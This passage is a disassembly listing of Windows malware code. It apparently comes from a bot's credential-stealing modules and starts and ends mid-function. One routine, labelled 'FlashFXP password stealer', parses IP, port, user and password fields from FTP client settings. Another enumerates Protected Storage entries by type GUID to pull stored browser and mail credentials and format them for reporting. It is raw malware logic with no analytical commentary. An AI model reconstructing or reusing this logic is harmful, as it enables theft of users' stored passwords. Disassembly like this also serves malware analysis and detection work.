		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D2D4 ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D268
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D22C
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DE80
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D598
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D564
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D560 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D598
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D598
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: .data:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D598
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DE30
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset byte_41DE30
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D510
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DE30
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D4AC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D49C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D49C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC	; lstrcpy


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D49C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D49C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C	; lstrlen
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D45C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D43C
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D43C
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100	; lstrcpyn
		push	offset dword_41D434
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D42C
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D3E4
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DE30
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D388
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
